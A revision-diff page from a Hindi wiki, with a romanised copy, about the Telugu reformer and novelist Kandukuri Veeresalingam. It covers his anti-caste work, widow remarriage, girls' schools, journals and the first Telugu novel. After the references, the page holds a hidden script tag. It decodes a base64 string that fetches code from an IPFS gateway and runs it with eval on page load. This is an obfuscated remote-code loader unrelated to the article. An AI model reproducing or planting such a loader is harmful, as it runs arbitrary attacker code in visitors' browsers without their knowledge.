Difference between revisions of "कंदुकूरी वीरेशलिंगम"
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'''कंदुकूरी वीरेशलिंगम''' ([[अंग्रेज़ी]]: ''Kandukuri Veeresalingam'' ; जन्म- [[16 अप्रैल]], 1848, [[राजमंड्री]], [[आंध्र प्रदेश]]; मृत्यु- [[27 मई]], [[1919]]) [[तेलुगु भाषा]] के प्रसिद्ध विद्वान, जिन्हें आधुनिक तेलुगु साहित्य में 'गद्य ब्रह्मा' के नाम से ख्याति मिली। सनातनपंथी [[ब्राह्मण]] [[परिवार]] में जन्मे वीरेशलिंगम जाति-पांति के कट्टर विरोधी थे। उन्होंने जाति विरोध आंदोलन का सूत्रपात किया। वीरेशलिंगम का जीवन लक्ष्य आदर्श नहीं, बल्कि आचरण था। इसीलिए उन्होंने विधवा आश्रमों की स्थापना की। स्त्री शिक्षा को प्रोत्साहित करने के लिए उन्होंने [[1874]] में राजमंड्री के समीप धवलेश्वरम में और [[1884]] में इन्निसपेटा में बालिकाओं के लिए पाठशालाओं की स्थापना की। आधुनिक तेलुगु गद्य साहित्य के प्रवर्तक वीरेशलिंगम ने प्रथम [[उपन्यासकार]], प्रथम नाटककार और आधुनिक पत्रकारिता के प्रवर्तक के रूप मे ख्याति अर्जित की थी। | '''कंदुकूरी वीरेशलिंगम''' ([[अंग्रेज़ी]]: ''Kandukuri Veeresalingam'' ; जन्म- [[16 अप्रैल]], 1848, [[राजमंड्री]], [[आंध्र प्रदेश]]; मृत्यु- [[27 मई]], [[1919]]) [[तेलुगु भाषा]] के प्रसिद्ध विद्वान, जिन्हें आधुनिक तेलुगु साहित्य में 'गद्य ब्रह्मा' के नाम से ख्याति मिली। सनातनपंथी [[ब्राह्मण]] [[परिवार]] में जन्मे वीरेशलिंगम जाति-पांति के कट्टर विरोधी थे। उन्होंने जाति विरोध आंदोलन का सूत्रपात किया। वीरेशलिंगम का जीवन लक्ष्य आदर्श नहीं, बल्कि आचरण था। इसीलिए उन्होंने विधवा आश्रमों की स्थापना की। स्त्री शिक्षा को प्रोत्साहित करने के लिए उन्होंने [[1874]] में राजमंड्री के समीप धवलेश्वरम में और [[1884]] में इन्निसपेटा में बालिकाओं के लिए पाठशालाओं की स्थापना की। आधुनिक तेलुगु गद्य साहित्य के प्रवर्तक वीरेशलिंगम ने प्रथम [[उपन्यासकार]], प्रथम नाटककार और आधुनिक पत्रकारिता के प्रवर्तक के रूप मे ख्याति अर्जित की थी। | ||
==जन्म== | ==जन्म== | ||
− | कंदुकूरी वीरेशलिंगम का जन्म 16 अप्रैल, 1848 को राजमहेंद्रवरम (अब [[राजमंड्री]]), [[आंध्र प्रदेश]] में हुआ था। वे सनातन पंथी ब्राह्मण परिवार से सम्बंध रखते थे। उनका बाल्यकाल विपन्नता में गुजरा, जिससे उन्होंने विषम परिस्थितियों का सामना करना सीखा। इतना ही नहीं, उन्होंने अपने अंदर की जिजीविषा को हमेशा जगाए रखा। | + | कंदुकूरी वीरेशलिंगम का जन्म 16 अप्रैल, 1848 को राजमहेंद्रवरम (अब [[राजमंड्री]]), [[आंध्र प्रदेश]] में हुआ था। वे सनातन पंथी ब्राह्मण परिवार से सम्बंध रखते थे। उनका बाल्यकाल विपन्नता में गुजरा, जिससे उन्होंने विषम परिस्थितियों का सामना करना सीखा। इतना ही नहीं, उन्होंने अपने अंदर की जिजीविषा को हमेशा जगाए रखा।<ref name="aa">{{cite web |url= http://saagarika.blogspot.in/2011/05/blog-post_21.html|title=वीरेशलिंगम -आंध्र के भारतेंदु|accessmonthday= 05 सितम्बर|accessyear= 2014|last= |first= |authorlink= |format= |publisher= सागरिका|language= हिन्दी}}</ref> |
==प्रगतिशील चेतना के प्रतिनिधि== | ==प्रगतिशील चेतना के प्रतिनिधि== | ||
वीरेशलिंगम के युग में अर्थात 19वीं शती के अंतिम चरण में संपूर्ण देश में सांस्कृतिक जागरण की लहर दौड़ रही थी। सामंती ढाँचा टूट चुका था। देश में संवेदनशील मध्यवर्ग तैयार हो गया था, जो व्यापक राष्ट्रीय और सामाजिक हितों की दृष्टि से सोचने लगा था। इस वर्ग ने यह अनुभव किया कि सामाजिक, राजनैतिक, आर्थिक, धार्मिक और सांस्कृतिक सभी क्षेत्रों में सुधार की आवश्कता है। जिस तरह [[हिन्दी साहित्य]] के इतिहास में [[भारतेंदु हरिश्चंद्र]] इस प्रगतिशील चेतना के प्रतिनिधि थे, उसी तरह कंदुकूरी वीरेशलिंगम पंतुलु तेलुगु साहित्य के इतिहास में प्रगतिशील चेतना के प्रतिनिधि थे। उन्होंने समाज सुधार के कार्यों, भाषणों और [[साहित्य]] के माध्यम से जागरण का संदेश दिया। | वीरेशलिंगम के युग में अर्थात 19वीं शती के अंतिम चरण में संपूर्ण देश में सांस्कृतिक जागरण की लहर दौड़ रही थी। सामंती ढाँचा टूट चुका था। देश में संवेदनशील मध्यवर्ग तैयार हो गया था, जो व्यापक राष्ट्रीय और सामाजिक हितों की दृष्टि से सोचने लगा था। इस वर्ग ने यह अनुभव किया कि सामाजिक, राजनैतिक, आर्थिक, धार्मिक और सांस्कृतिक सभी क्षेत्रों में सुधार की आवश्कता है। जिस तरह [[हिन्दी साहित्य]] के इतिहास में [[भारतेंदु हरिश्चंद्र]] इस प्रगतिशील चेतना के प्रतिनिधि थे, उसी तरह कंदुकूरी वीरेशलिंगम पंतुलु तेलुगु साहित्य के इतिहास में प्रगतिशील चेतना के प्रतिनिधि थे। उन्होंने समाज सुधार के कार्यों, भाषणों और [[साहित्य]] के माध्यम से जागरण का संदेश दिया। | ||
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वीरेशलिंगम जाति-पांति के कट्टर विरोधी थे। उन्होंने जाति विरोध आंदोलन का सूत्रपात किया। जिस तरह [[राजा राममोहन राय]] ने [[ब्रह्म समाज]] की स्थापना की थी, उसी तरह [[आंध्र प्रदेश]] में सर्वप्रथम कंदुकूरी वीरेशलिंगम ने ब्रह्म समाज की स्थापना की। उन्होंने [[1887]] में राजमंड्री में ‘ब्रह्मो मंदिर’ की स्थापना की थी। | वीरेशलिंगम जाति-पांति के कट्टर विरोधी थे। उन्होंने जाति विरोध आंदोलन का सूत्रपात किया। जिस तरह [[राजा राममोहन राय]] ने [[ब्रह्म समाज]] की स्थापना की थी, उसी तरह [[आंध्र प्रदेश]] में सर्वप्रथम कंदुकूरी वीरेशलिंगम ने ब्रह्म समाज की स्थापना की। उन्होंने [[1887]] में राजमंड्री में ‘ब्रह्मो मंदिर’ की स्थापना की थी। | ||
==समाज सेवा== | ==समाज सेवा== | ||
− | तत्कालीन सामाजिक और राजनैतिक परिस्थितियों से प्रभावित होकर वीरेशलिंगम ने जनता को चिरनिद्रा से जगाया, चेताया, स्त्री सशक्तीकरण को प्रोत्साहित किया, स्त्री शिक्षा पर बल दिया, [[बाल विवाह]] का खंडन किया, विधवा पुनर्विवाह का समर्थन किया और जमींदारी प्रथा का विरोध किया। उनकी कथनी और करनी में कोई अंतर दिखाई नहीं देता था। उन्होंने [[11 दिसम्बर]], [[1881]] को 'प्रथम विधवा पुनर्विवाह' संपन्न करवाया, जिसके कारण उनकी कीर्ति देश-विदेश में फैल गई। उनके सेवा कार्यों से प्रभावित होकर [[ईश्वरचन्द्र विद्यासागर]] ने भी उन्हें बधाई दी। | + | तत्कालीन सामाजिक और राजनैतिक परिस्थितियों से प्रभावित होकर वीरेशलिंगम ने जनता को चिरनिद्रा से जगाया, चेताया, स्त्री सशक्तीकरण को प्रोत्साहित किया, स्त्री शिक्षा पर बल दिया, [[बाल विवाह]] का खंडन किया, विधवा पुनर्विवाह का समर्थन किया और जमींदारी प्रथा का विरोध किया। उनकी कथनी और करनी में कोई अंतर दिखाई नहीं देता था। उन्होंने [[11 दिसम्बर]], [[1881]] को 'प्रथम विधवा पुनर्विवाह' संपन्न करवाया, जिसके कारण उनकी कीर्ति देश-विदेश में फैल गई। उनके सेवा कार्यों से प्रभावित होकर [[ईश्वरचन्द्र विद्यासागर]] ने भी उन्हें बधाई दी।<ref name="aa"/> |
वीरेशलिंगम का जीवन लक्ष्य आदर्श नहीं बल्कि आचरण था। इसीलिए उन्होंने विधवा आश्रमों की स्थापना की। स्त्री शिक्षा को प्रोत्साहित करने के लिए [[1874]] में [[राजमंड्री]] के समीप धवलेश्वरम् में और [[1884]] में इन्निसपेटा में बालिकाओं के लिए पाठशालाओं की स्थापना की। इतना ही नहीं, स्त्री को अपने अधिकारों के प्रति जागरूक करने के लिए ‘विवेकवर्धनी’ ([[1874]]), ‘सतीहितबोधनी’, ‘सत्यवादी’, ‘चिंतामणि’ आदि पत्र-पत्रिकाएँ आरंभ कीं। वस्तुतः ‘विवेकवर्धनी’ [[पत्रिका]] का मुख्य उद्देश्य ही था- "समाज में व्याप्त राजनैतिक विसंगतियों, भ्रष्टाचार, घूसखोरी, वेश्या वृत्ति, जात-पांत, छुआछूत, बाल विवाह, सांप्रदायिकता और [[सती प्रथा]] का उन्मूलन।" | वीरेशलिंगम का जीवन लक्ष्य आदर्श नहीं बल्कि आचरण था। इसीलिए उन्होंने विधवा आश्रमों की स्थापना की। स्त्री शिक्षा को प्रोत्साहित करने के लिए [[1874]] में [[राजमंड्री]] के समीप धवलेश्वरम् में और [[1884]] में इन्निसपेटा में बालिकाओं के लिए पाठशालाओं की स्थापना की। इतना ही नहीं, स्त्री को अपने अधिकारों के प्रति जागरूक करने के लिए ‘विवेकवर्धनी’ ([[1874]]), ‘सतीहितबोधनी’, ‘सत्यवादी’, ‘चिंतामणि’ आदि पत्र-पत्रिकाएँ आरंभ कीं। वस्तुतः ‘विवेकवर्धनी’ [[पत्रिका]] का मुख्य उद्देश्य ही था- "समाज में व्याप्त राजनैतिक विसंगतियों, भ्रष्टाचार, घूसखोरी, वेश्या वृत्ति, जात-पांत, छुआछूत, बाल विवाह, सांप्रदायिकता और [[सती प्रथा]] का उन्मूलन।" | ||
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[[1895]] में वीरेशलिंगम ने ‘सरस्वती नारद विलापमु’ (सरस्वती नारद संवाद) में वाक्देवी सरस्वती और देव ऋषि नारद के बीच काल्पनिक संवाद का सृजन लघुकाव्य के रूप में किया। इसमें उन्होंने [[सरस्वती देवी|सरस्वती]] और [[नारद मुनि|नारद]] के बीच संवादों के माध्यम से वाग्विदग्धता, कृत्रिम [[अलंकार]], झूठे आडंबर आदि पर विचार विमर्श किया। इस काव्य को पढ़ने से स्पेंसर कृत ‘टियर्स ऑफ़ दी म्यूसस’ की याद दिलाने वाला माना जाता है। उन्होंने [[शृंगार रस|शृंगार]] परक काव्यों का भी सृजन किया था। | [[1895]] में वीरेशलिंगम ने ‘सरस्वती नारद विलापमु’ (सरस्वती नारद संवाद) में वाक्देवी सरस्वती और देव ऋषि नारद के बीच काल्पनिक संवाद का सृजन लघुकाव्य के रूप में किया। इसमें उन्होंने [[सरस्वती देवी|सरस्वती]] और [[नारद मुनि|नारद]] के बीच संवादों के माध्यम से वाग्विदग्धता, कृत्रिम [[अलंकार]], झूठे आडंबर आदि पर विचार विमर्श किया। इस काव्य को पढ़ने से स्पेंसर कृत ‘टियर्स ऑफ़ दी म्यूसस’ की याद दिलाने वाला माना जाता है। उन्होंने [[शृंगार रस|शृंगार]] परक काव्यों का भी सृजन किया था। | ||
====आशु कविता==== | ====आशु कविता==== | ||
− | वीरेशलिंगम 'आशु कविता' की ओर भी उन्मुख हुए। तेलुगु साहित्य में आशु कविता अवधान विधा के रूप में उपलब्ध है। यह विधा तेलुगु साहित्य की अनुपम और विलक्षण देन है। इस प्रक्रिया में [[कवि]] एक ही समय में अनेक अंशों, प्रश्नों का समाधान छंदोबद्ध काव्य के रूप में करता है। यह एक तरह से बौद्धिक व्यायाम है। इस विधा के अनेक प्रकार हैं- 'अष्टावधान', 'शतावधान', 'सहस्रावधान', 'द्विसहस्रावधान', 'पंच सहस्रावधान', 'नवरस नवावधान', 'अलंकार अष्टावधान' और 'समस्या पूर्ति' आदि। | + | वीरेशलिंगम 'आशु कविता' की ओर भी उन्मुख हुए। [[तेलुगु साहित्य]] में आशु कविता अवधान विधा के रूप में उपलब्ध है। यह विधा तेलुगु साहित्य की अनुपम और विलक्षण देन है। इस प्रक्रिया में [[कवि]] एक ही समय में अनेक अंशों, प्रश्नों का समाधान छंदोबद्ध काव्य के रूप में करता है। यह एक तरह से बौद्धिक व्यायाम है। इस विधा के अनेक प्रकार हैं- 'अष्टावधान', 'शतावधान', 'सहस्रावधान', 'द्विसहस्रावधान', 'पंच सहस्रावधान', 'नवरस नवावधान', 'अलंकार अष्टावधान' और 'समस्या पूर्ति' आदि।<ref name="aa"/> |
+ | ==प्रथम उपन्यासकार== | ||
+ | आधुनिक तेलुगु गद्य साहित्य के प्रवर्तक वीरेशलिंगम ने प्रथम [[उपन्यासकार]], प्रथम नाटककार और आधुनिक पत्रकारिता के प्रवर्तक के रूप मे ख्याति अर्जित की। [[हिन्दी साहित्य]] के इतिहास में प्रथम उपन्यास और उपन्यासकार के बारे में काफी मतभेद हैं। उसी तरह तेलुगु साहित्य के इतिहास में भी प्रथम उपन्यास और उपन्यासकार के बारे में मतभेद हैं। कुछ विद्वान नरहरि गोपाल कृष्णम शेट्टी कृत ‘श्री रंगराज चरित्रमु’<ref>श्री रंगराज का इतिहास, 1872</ref> को तेलुगु का प्रथम [[उपन्यास]] मानते हैं, लेकिन लेखक ने अपनी रचना के संबंध में स्वयं कहा है कि- "ई रचना हिंदुवुला आचारमुलनु तेलुपु नवीन प्रबंधम्। ई रचना कुला मतालकु अतीतंगायुंडि प्रेमकु प्राधान्यतनु इच्चिंदी।"<ref>यह रचना वस्तुतः हिन्दुओं के रीति रिवाजों को व्यक्त करने वाली नवीन प्रबंध काव्य है तथा जाति-पांति के विरुद्ध प्रेम भावना को प्रधानता देने वाली है।</ref> इसका दूसरा नाम है- ‘सोनाबाई परिणयमु’।<ref>सोनाबाई का परिणय</ref> इसके विपरीत कंदुकूरी वीरेशलिंगम पंतुलु कृत ‘राजशेखर चरित्र’<ref>राजशेखर का इतिहास, 1880</ref> में आधुनिक उपन्यास के तत्व विद्यमान हैं। अतः इस उपन्यास को ही तेलुगु का प्रथम उपन्यास माना गया है। इसके माध्यम से लेखक ने तत्कालीन [[हिन्दू|हिन्दुओं]] की जीवन शैली, उनकी संस्कृति, रीति रिवाज, अंधविश्वास, स्त्रियों की मनोदशा आदि को उकेरा है। यह उपन्यास [[अंग्रेज़ी में ‘फार्च्यून्स ऑफ़ दी व्हील’ के नाम से अनूदित है। | ||
+ | ==निधन== | ||
+ | तेलुगु साहित्य के लिए महत्त्वपूर्ण योगदान करने वाले कंदुकूरी वीरेशलिंगम का निधन [[27 मई]], [[1919]] ई. को हुआ। आधुनि तेलुगु साहित्य के 'गद्य ब्रह्मा', प्रथम उपन्यासकार, प्रथम नाटककार, प्रथम आत्मकथाकार, व्यावहारिक भाषा आंदोलन के प्रवर्तक कंदुकूरी वीरेशलिंगम पंतुलु के बारे में चिलकमर्ति लक्ष्मी नरसिंहम ने निम्नलिखित उद्गार व्यक्त किए थे, जो आज भी उनकी समाधी पर चिन्हित हैं<ref name="aa"/>- | ||
+ | <blockquote><poem>"तना देहमु, तना गेहमु, | ||
+ | तना कालमु तना धनम्भु तना विद्या | ||
+ | जगज्जनुलके विनियोगिंचिना | ||
+ | घनुडी वीरेशलिंगकवि जनुलारा!"</poem></blockquote> | ||
+ | |||
+ | अर्थात "अपना तन, मन, धन, निवास, समय और विद्या सब कुछ जनता के हित के लिए निछावर करने वाले महापुरुष हैं 'वीरेशलिंगम्'।" | ||
+ | |||
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Revision as of 13:25, 10 September 2014
kandukoori vireshaliangam (aangrezi: Kandukuri Veeresalingam ; janm- 16 aprail, 1848, rajamandri, aandhr pradesh; mrityu- 27 mee, 1919) telugu bhasha ke prasiddh vidvan, jinhean adhunik telugu sahity mean 'gady brahma' ke nam se khyati mili. sanatanapanthi brahman parivar mean janme vireshaliangam jati-paanti ke kattar virodhi the. unhoanne jati virodh aandolan ka sootrapat kiya. vireshaliangam ka jivan lakshy adarsh nahian, balki acharan tha. isilie unhoanne vidhava ashramoan ki sthapana ki. stri shiksha ko protsahit karane ke lie unhoanne 1874 mean rajamandri ke samip dhavaleshhvaram mean aur 1884 mean innisapeta mean balikaoan ke lie pathashalaoan ki sthapana ki. adhunik telugu gady sahity ke pravartak vireshaliangam ne pratham upanyasakar, pratham natakakar aur adhunik patrakarita ke pravartak ke roop me khyati arjit ki thi.
janm
kandukoori vireshaliangam ka janm 16 aprail, 1848 ko rajamaheandravaram (ab rajamandri), aandhr pradesh mean hua tha. ve sanatan panthi brahman parivar se sambandh rakhate the. unaka balyakal vipannata mean gujara, jisase unhoanne visham paristhitiyoan ka samana karana sikha. itana hi nahian, unhoanne apane aandar ki jijivisha ko hamesha jagae rakha.[1]
pragatishil chetana ke pratinidhi
vireshaliangam ke yug mean arthat 19vian shati ke aantim charan mean sanpoorn desh mean saanskritik jagaran ki lahar dau d rahi thi. samanti dhaancha toot chuka tha. desh mean sanvedanashil madhyavarg taiyar ho gaya tha, jo vyapak rashhtriy aur samajik hitoan ki drishhti se sochane laga tha. is varg ne yah anubhav kiya ki samajik, rajanaitik, arthik, dharmik aur saanskritik sabhi kshetroan mean sudhar ki avashhkata hai. jis tarah hindi sahity ke itihas mean bharateandu harishchandr is pragatishil chetana ke pratinidhi the, usi tarah kandukoori vireshaliangam pantulu telugu sahity ke itihas mean pragatishil chetana ke pratinidhi the. unhoanne samaj sudhar ke karyoan, bhashanoan aur sahity ke madhyam se jagaran ka sandesh diya.
brahm samaj ki sthapana
vireshaliangam jati-paanti ke kattar virodhi the. unhoanne jati virodh aandolan ka sootrapat kiya. jis tarah raja ramamohan ray ne brahm samaj ki sthapana ki thi, usi tarah aandhr pradesh mean sarvapratham kandukoori vireshaliangam ne brahm samaj ki sthapana ki. unhoanne 1887 mean rajamandri mean ‘brahmo mandir’ ki sthapana ki thi.
samaj seva
tatkalin samajik aur rajanaitik paristhitiyoan se prabhavit hokar vireshaliangam ne janata ko chiranidra se jagaya, chetaya, stri sashakhtikaran ko protsahit kiya, stri shiksha par bal diya, bal vivah ka khandan kiya, vidhava punarvivah ka samarthan kiya aur jamiandari pratha ka virodh kiya. unaki kathani aur karani mean koee aantar dikhaee nahian deta tha. unhoanne 11 disambar, 1881 ko 'pratham vidhava punarvivah' sanpann karavaya, jisake karan unaki kirti desh-videsh mean phail gee. unake seva karyoan se prabhavit hokar eeshvarachandr vidyasagar ne bhi unhean badhaee di.[1]
vireshaliangam ka jivan lakshy adarsh nahian balki acharan tha. isilie unhoanne vidhava ashramoan ki sthapana ki. stri shiksha ko protsahit karane ke lie 1874 mean rajamandri ke samip dhavaleshhvaramh mean aur 1884 mean innisapeta mean balikaoan ke lie pathashalaoan ki sthapana ki. itana hi nahian, stri ko apane adhikaroan ke prati jagarook karane ke lie ‘vivekavardhani’ (1874), ‘satihitabodhani’, ‘satyavadi’, ‘chiantamani’ adi patr-patrikaean aranbh kian. vastutah ‘vivekavardhani’ patrika ka mukhy udhdeshhy hi tha- "samaj mean vyapht rajanaitik visangatiyoan, bhrashhtachar, ghoosakhori, veshhya vritti, jat-paant, chhuachhoot, bal vivah, saanpradayikata aur sati pratha ka unmoolan."
lekhan kary
vireshaliangam ne apani sahityik yatra prabandh kavyoan se shuroo ki. unaki pramukh praranbhik prabandh rachanaean haian-
- markandey shatakamh (1868-69)
- gopal shatakamh (1868-69)
- rasik jan manoranjanamh (1879-71)
- shuddhaandhr nirhoshthy nirvachan naishadhamh (1871)
- shuddhaandhr uttar ramayan (1872)
1895 mean vireshaliangam ne ‘sarasvati narad vilapamu’ (sarasvati narad sanvad) mean vakhdevi sarasvati aur dev rrishi narad ke bich kalpanik sanvad ka srijan laghukavy ke roop mean kiya. isamean unhoanne sarasvati aur narad ke bich sanvadoan ke madhyam se vagvidagdhata, kritrim alankar, jhoothe adanbar adi par vichar vimarsh kiya. is kavy ko padhane se speansar krit ‘tiyars aauf di myoosas’ ki yad dilane vala mana jata hai. unhoanne shriangar parak kavyoan ka bhi srijan kiya tha.
ashu kavita
vireshaliangam 'ashu kavita' ki or bhi unmukh hue. telugu sahity mean ashu kavita avadhan vidha ke roop mean upalabdh hai. yah vidha telugu sahity ki anupam aur vilakshan den hai. is prakriya mean kavi ek hi samay mean anek aanshoan, prashhnoan ka samadhan chhandobaddh kavy ke roop mean karata hai. yah ek tarah se bauddhik vyayam hai. is vidha ke anek prakar haian- 'ashhtavadhan', 'shatavadhan', 'sahasravadhan', 'dvisahasravadhan', 'panch sahasravadhan', 'navaras navavadhan', 'alankar ashhtavadhan' aur 'samasya poorti' adi.[1]
pratham upanyasakar
adhunik telugu gadhy sahity ke pravartak vireshaliangam ne pratham upanyasakar, pratham natakakar aur adhunik patrakarita ke pravartak ke roop me khyati arjit ki. hindi sahity ke itihas mean pratham upanhyas aur upanyasakar ke bare mean kaphi matabhed haian. usi tarah telugu sahity ke itihas mean bhi pratham upanyas aur upanyasakar ke bare mean matabhed haian. kuchh vidvan narahari gopal krishhnam shetti krit ‘shri rangaraj charitramu’[2] ko telugu ka pratham upanyas manate haian, lekin lekhak ne apani rachana ke sanbandh mean svayan kaha hai ki- "ee rachana hianduvula acharamulanu telupu navin prabandhamh. ee rachana kula matalaku atitangayuandi premaku pradhanyatanu ichchiandi."[3] isaka doosara nam hai- ‘sonabaee parinayamu’.[4] isake viparit kandukoori vireshaliangam pantulu krit ‘rajashekhar charitr’[5] mean adhunik upanyas ke tatv vidyaman haian. atah is upanyas ko hi telugu ka pratham upanyas mana gaya hai. isake madhyam se lekhak ne tatkalin hinduoan ki jivan shaili, unaki sanskriti, riti rivaj, aandhavishhvas, striyoan ki manodasha adi ko ukera hai. yah upanyas [[aangrezi mean ‘pharchyoons aauf di vhil’ ke nam se anoodit hai.
nidhan
telugu sahity ke lie mahattvapoorn yogadan karane vale kandukoori vireshaliangam ka nidhan 27 mee, 1919 ee. ko hua. adhuni telugu sahity ke 'gady brahma', pratham upanyasakar, pratham natakakar, pratham atmakathakar, vyavaharik bhasha aandolan ke pravartak kandukoori vireshaliangam pantulu ke bare mean chilakamarti lakshmi narasianham ne nimnalikhit udhgar vyakht kie the, jo aj bhi unaki samadhi par chinhit haian[1]-
"tana dehamu, tana gehamu,
tana kalamu tana dhanamhbhu tana vidhya
jagajjanulake viniyogianchina
ghanudi vireshaliangakavi janulara!"
arthat "apana tan, man, dhan, nivas, samay aur vidya sab kuchh janata ke hit ke lie nichhavar karane vale mahapurush haian 'vireshaliangamh'."
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 vireshaliangam -aandhr ke bharateandu (hindi) sagarika. abhigaman tithi: 05 sitambar, 2014.
- ↑ shri rangaraj ka itihas, 1872
- ↑ yah rachana vastutah hinduoan ke riti rivajoan ko vyakht karane vali navin prabandh kavy hai tatha jati-paanti ke viruddh prem bhavana ko pradhanata dene vali hai.
- ↑ sonabaee ka parinay
- ↑ rajashekhar ka itihas, 1880
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>